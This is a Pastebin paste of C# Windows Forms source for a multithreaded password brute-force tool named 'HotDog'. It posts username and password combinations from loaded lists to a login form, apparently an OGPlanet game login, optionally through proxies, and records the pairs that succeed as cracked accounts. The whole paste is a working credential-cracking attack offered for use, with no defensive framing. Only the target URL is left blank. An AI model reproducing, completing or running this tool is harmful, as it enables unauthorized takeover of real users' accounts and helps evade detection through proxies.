Advertisement
CGC_Codes

bruteForce/ careful

Jun 7th, 2017
163
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 13.96 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Collections.Specialized;
  4. using System.ComponentModel;
  5. using System.Data;
  6. using System.Drawing;
  7. using System.Text;
  8. using System.Windows.Forms;
  9. using System.Threading;
  10. using System.Reflection;
  11. using System.Net;
  12. using System.IO;
  13. using System.Diagnostics;
  14. using System.Runtime.Hosting;
  15. using System.Runtime.InteropServices;
  16.  
  17. namespace HotDog
  18. {
  19.     public partial class frmMain : Form
  20.     {
  21.        
  22.         private const string AppVersion = "1.25";
  23.  
  24.         private List<Thread> ThreadList = new List<Thread>();
  25.  
  26.         private int wrongPassCount = 0;
  27.         private int invalidUserCount = 0;
  28.         private int tottries = 0;
  29.         private int threads = 8;
  30.         private int activeThreads = 0;
  31.         private int timeElapsed = 0;
  32.         private bool handleOK = true;
  33.         private WebProxy AppProxy = null;
  34.  
  35.         public frmMain()
  36.         {
  37.             InitializeComponent();
  38.         }
  39.  
  40.         public void Form1_HandleDestroyed(object sender, EventArgs e)
  41.         {
  42.            
  43.             handleOK = false;
  44.             for (int i = 0; i < ThreadList.Count; i++)
  45.             {
  46.                
  47.                 ThreadList[i].Abort();
  48.             }
  49.         }
  50.  
  51.         private void btnClearUsers_Click(object sender, EventArgs e)
  52.         {
  53.             lstUsernames.Items.Clear();
  54.         }
  55.  
  56.        
  57.         private void btnStart_Click(object sender, EventArgs e)
  58.         {
  59.            
  60.             AppProxy = null;
  61.             if (rbProxySystem.Checked)
  62.             {
  63.                
  64.                 AppProxy = WebProxy.GetDefaultProxy();
  65.             }
  66.             else if (rbProxyManual.Checked)
  67.             {
  68.                 try
  69.                 {
  70.                     AppProxy = new WebProxy(txtProxyAddress.Text, (int)udProxyPort.Value);
  71.                 }
  72.                 catch (Exception)
  73.                 {
  74.                     MessageBox.Show("Invalid proxy settings. Please check address and try again.");
  75.                     return;
  76.                 }
  77.             }
  78.  
  79.            
  80.             ThreadList.Clear();
  81.  
  82.            
  83.             wrongPassCount = 0;
  84.             invalidUserCount = 0;
  85.             tottries = 0;
  86.             activeThreads = 0;
  87.             timeElapsed = 0;
  88.  
  89.            
  90.             lstLog.Items.Clear();
  91.  
  92.            
  93.             threads = (int)udThreads.Value;
  94.             if (lstUsernames.Items.Count < threads)
  95.             {
  96.                 threads = lstUsernames.Items.Count;
  97.             }
  98.  
  99.            
  100.             for (int n = 0; n < threads; n++)
  101.             {
  102.                 Thread t = new Thread(new ParameterizedThreadStart(this.crackStart));
  103.                 ThreadParam tp = new ThreadParam();
  104.                 tp.modVal = threads;
  105.                 tp.offset = n;
  106.                 ThreadList.Add(t);
  107.                 Interlocked.Increment(ref activeThreads);
  108.                 ThreadList[n].Start(tp);
  109.             }
  110.  
  111.             tssStatus.Text = "Cracking...";
  112.             tmrComplete.Enabled = true;
  113.  
  114.             tabControl1.SelectedIndex = 1;
  115.  
  116.             btnStart.Enabled = false;
  117.  
  118.         }
  119.  
  120.         private void btnAddUser_Click(object sender, EventArgs e)
  121.         {
  122.             if (txtUsername.Text.Length > 0)
  123.             {
  124.                 lstUsernames.Items.Add(txtUsername.Text);
  125.                 lblUserCount.Text = lstUsernames.Items.Count.ToString();
  126.                 txtUsername.Clear();
  127.             }
  128.         }
  129.  
  130.         private void btnAddPass_Click(object sender, EventArgs e)
  131.         {
  132.             lstPasswords.Items.Add(txtPassword.Text);
  133.             txtPassword.Clear();
  134.         }
  135.  
  136.        
  137.         private delegate void App_SSIDelegate(ListBox lb, int value);
  138.         private delegate void App_AddDelegate(ListBox lb, string value);
  139.         private delegate void App_TextDelegate(Label lb, string value);
  140.         private delegate void App_ProgressDelegate(ToolStripProgressBar pb, int value);
  141.  
  142.         private void SetSelectedIndex(ListBox lb, int value)
  143.         {
  144.             lb.SelectedIndex = value;
  145.         }
  146.  
  147.         private void ListBoxAdd(ListBox lb, string value)
  148.         {
  149.             lb.Items.Add(value);
  150.         }
  151.  
  152.         private void LabelSet(Label lc, string value)
  153.         {
  154.             lc.Text = value;
  155.         }
  156.  
  157.         private void ProgressSet(ToolStripProgressBar pb, int value)
  158.         {
  159.             pb.Value = value;
  160.         }
  161.  
  162.        
  163.         private struct ThreadParam
  164.         {
  165.             public int modVal;
  166.             public int offset;
  167.         }
  168.  
  169.         public void crackStart(object param)
  170.         {
  171.             try
  172.             {
  173.                
  174.                 ThreadParam tp = (ThreadParam)param;
  175.  
  176.                 if (lstUsernames.Items.Count > 0 && lstPasswords.Items.Count > 0)
  177.                 {
  178.                     for (int i = tp.offset; i < lstUsernames.Items.Count; i += tp.modVal)
  179.                     {
  180.                         for (int j = 0; j < lstPasswords.Items.Count; j++)
  181.                         {
  182.  
  183.  
  184.                             string URL = "";
  185.  
  186.  
  187.  
  188.                             Interlocked.Increment(ref tottries);
  189.  
  190.                             String v = "Trying username: " + lstUsernames.Items[i].ToString() + " with password: " + lstPasswords.Items[j].ToString();
  191.  
  192.  
  193.                             if (handleOK) this.Invoke(new App_AddDelegate(ListBoxAdd), lstLog, v);
  194.  
  195.                             if (handleOK) this.Invoke(new App_TextDelegate(LabelSet), lblTotalTries, tottries.ToString());
  196.  
  197.                            
  198.                             int percent = (int)(((float)tottries / (lstUsernames.Items.Count * lstPasswords.Items.Count) * 100));
  199.  
  200.                             if (handleOK) this.Invoke(new App_ProgressDelegate(ProgressSet), tssProgress, percent);
  201.  
  202.                             BruteCracker.PostSubmitter post = new BruteCracker.PostSubmitter();
  203.                             post.Url = URL;
  204.                             post.PostItems.Add("ioBB", "0");
  205.                             post.PostItems.Add("check", "1");
  206.                             post.PostItems.Add("id", lstUsernames.Items[i].ToString());
  207.                             post.PostItems.Add("pw", lstPasswords.Items[j].ToString());
  208.                             post.Type = BruteCracker.PostSubmitter.PostTypeEnum.Post;
  209.  
  210.                            
  211.                             if (AppProxy != null)
  212.                             {
  213.                                 try
  214.                                 {
  215.                                     post.webproxy = AppProxy;
  216.                                 }
  217.                                 catch (Exception)
  218.                                 {
  219.                                     MessageBox.Show("Bad proxy.");
  220.                                     return;
  221.                                 }
  222.                             }
  223.  
  224.                             string Source = null;
  225.  
  226.                            
  227.                             bool completedOK = false;
  228.                             for (int t = 0; t < 3; t++)
  229.                             {
  230.                                 try
  231.                                 {
  232.                                     Source = post.Post();
  233.                                     completedOK = true;
  234.                                     break;
  235.                                 }
  236.                                 catch (Exception)
  237.                                 {
  238.                                 }
  239.                             }
  240.                             if (!completedOK)
  241.                             {
  242.                                 this.Invoke(new App_AddDelegate(ListBoxAdd), lstLog, "A network error occured. Continuing...");
  243.                                 continue;
  244.                             }
  245.  
  246.                             if (Source.Contains("OGPlanet Login Page") || Source.Contains("Dear"))
  247.                             {
  248.  
  249.                                 this.Invoke(new App_AddDelegate(ListBoxAdd), lstCracked, lstUsernames.Items[i].ToString() + ":" + lstPasswords.Items[j].ToString());
  250.                                 if (lstUsernames.Items.Count > i + 1)
  251.                                 {
  252.                                     i++;
  253.                                     j = 0;
  254.                                 }
  255.                                 else
  256.                                 {
  257.                                     Interlocked.Decrement(ref activeThreads);
  258.                                     Thread.CurrentThread.Abort();
  259.                                 }
  260.                             }
  261.                             else if (Source.Contains("wrong"))
  262.                             {
  263.                                 Interlocked.Increment(ref wrongPassCount);
  264.  
  265.                                 if (handleOK) this.Invoke(new App_TextDelegate(LabelSet), lblWrongPasswords, wrongPassCount.ToString());
  266.                             }
  267.                             else if (Source.Contains("not exist"))
  268.                             {
  269.                                 Interlocked.Increment(ref invalidUserCount);
  270.  
  271.                                 if (handleOK) this.Invoke(new App_TextDelegate(LabelSet), lblInvalidUsers, invalidUserCount.ToString());
  272.                             }
  273.  
  274.  
  275.                            
  276.                             Source = null;
  277.  
  278.                             if (timeElapsed % 5 == 0)
  279.                                 GC.Collect();
  280.                         }
  281.                     }
  282.                 }
  283.                 else
  284.                 {
  285.                     MessageBox.Show("One of your listbox's is empty!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Hand);
  286.                 }
  287.  
  288.                 Interlocked.Decrement(ref activeThreads);
  289.  
  290.             }
  291.             catch (ThreadAbortException)
  292.             {
  293.                
  294.             }
  295. #if APP_RELEASE
  296.             catch (Exception ex)
  297.             {
  298.                 DateTime now = DateTime.Now;
  299.                 String fn = "crashlog-" + now.Year.ToString().PadLeft(4, '0') + "-" + now.Month.ToString().PadLeft(2, '0') + "-" + now.Day.ToString().PadLeft(2, '0') + "-" + now.Hour.ToString().PadLeft(2, '0') + "-" + now.Minute.ToString().PadLeft(2, '0') + "-" + now.Second.ToString().PadLeft(2, '0') + "-" + now.Millisecond.ToString().PadLeft(3, '0') + ".txt";
  300.                 String ct = now.ToString() + "\r\n" + ex.Message + "\r\nStack Trace:\r\n" + ex.StackTrace + "\r\n\r\nSource: " + ex.Source + "\r\nMethod: " + ex.TargetSite + "\r\nVersion: " + AppVersion + "\r\n";
  301.                 File.WriteAllText(Application.StartupPath + "\\" + fn, ct);
  302.                 MessageBox.Show("An error occured: " + ex.Message + "\n\nThis details of this error are stored in " + fn, "Fatal Exception", MessageBoxButtons.OK, MessageBoxIcon.Error  );
  303.                 Application.Exit();
  304.             }
  305. #endif
  306.         }
  307.  
  308.         private void btnLoad_Click(object sender, EventArgs e)
  309.         {
  310.             OpenFileDialog Open = new OpenFileDialog();
  311.             Open.Filter = "Text Document|*.txt|All Files|*.*";
  312.             try
  313.             {
  314.                 Open.ShowDialog();
  315.                 StreamReader Import = new StreamReader(Convert.ToString(Open.FileName));
  316.  
  317.                 while (Import.Peek() >= 0)
  318.                     lstUsernames.Items.Add(Convert.ToString(Import.ReadLine()));
  319.             }
  320.  
  321.             catch (Exception ex)
  322.             {
  323.                 MessageBox.Show(Convert.ToString(ex.Message));
  324.                 return;
  325.             }
  326.             lblUserCount.Text += lstUsernames.Items.Count.ToString();
  327.         }
  328.  
  329.  
  330.        
  331.         private void btnSaveCracked_Click(object sender, EventArgs e)
  332.         {
  333.             StreamWriter Write;
  334.             SaveFileDialog Open = new SaveFileDialog();
  335.             try
  336.             {
  337.                 Open.Filter = ("Text Document|*.txt|All Files|*.*");
  338.                 Open.ShowDialog();
  339.                 Write = new StreamWriter(Open.FileName);
  340.                 for (int i = 0; i < lstPasswords.Items.Count; i++)
  341.                 {
  342.                     Write.WriteLine(Convert.ToString(lstLog.Items[i]));
  343.                 }
  344.                 Write.Close();
  345.             }
  346.             catch (Exception ex)
  347.             {
  348.                 MessageBox.Show(Convert.ToString(ex.Message));
  349.                 return;
  350.             }
  351.         }
  352.  
  353.         private void btnClearPasswords_Click(object sender, EventArgs e)
  354.         {
  355.             lstPasswords.Items.Clear();
  356.         }
  357.  
  358.         private void Form1_Load(object sender, EventArgs e)
  359.         {
  360. #if APP_DEBUG
  361.             this.Text += " DEBUG";
  362. #endif
  363.         }
  364.  
  365.         private void tmrComplete_Tick(object sender, EventArgs e)
  366.         {
  367.             timeElapsed++;
  368.             tssStatus.Text = "Cracking... " + TimeSpan.FromSeconds((int)(((float)timeElapsed / tssProgress.Value) * (100 - tssProgress.Value))) + " remain";
  369.             int perMin = (int)((float)tottries / ((float)timeElapsed / 60));
  370.             lblTriesPerMinute.Text = perMin.ToString();
  371.             if (activeThreads == 0)
  372.             {
  373.                 tmrComplete.Enabled = false;
  374.                 tssStatus.Text = "Done";
  375.                 btnStart.Enabled = true;
  376.             }
  377.         }
  378.  
  379.         private void rbProxyManual_CheckedChanged(object sender, EventArgs e)
  380.         {
  381.             txtProxyAddress.Enabled = rbProxyManual.Checked;
  382.             udProxyPort.Enabled = rbProxyManual.Checked;
  383.         }
  384.  
  385.         private void lstPasswords_DoubleClick(object sender, EventArgs e)
  386.         {
  387.             if (lstPasswords.SelectedIndex >= 0)
  388.             {
  389.                 lstPasswords.Items.RemoveAt(lstPasswords.SelectedIndex);
  390.             }
  391.         }
  392.  
  393.         private void lstUsernames_DoubleClick(object sender, EventArgs e)
  394.         {
  395.             if (lstUsernames.SelectedIndex >= 0)
  396.             {
  397.                 lstUsernames.Items.RemoveAt(lstUsernames.SelectedIndex);
  398.                 lblUserCount.Text = lstUsernames.Items.Count.ToString();
  399.             }
  400.         }
  401.  
  402.     }
  403. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement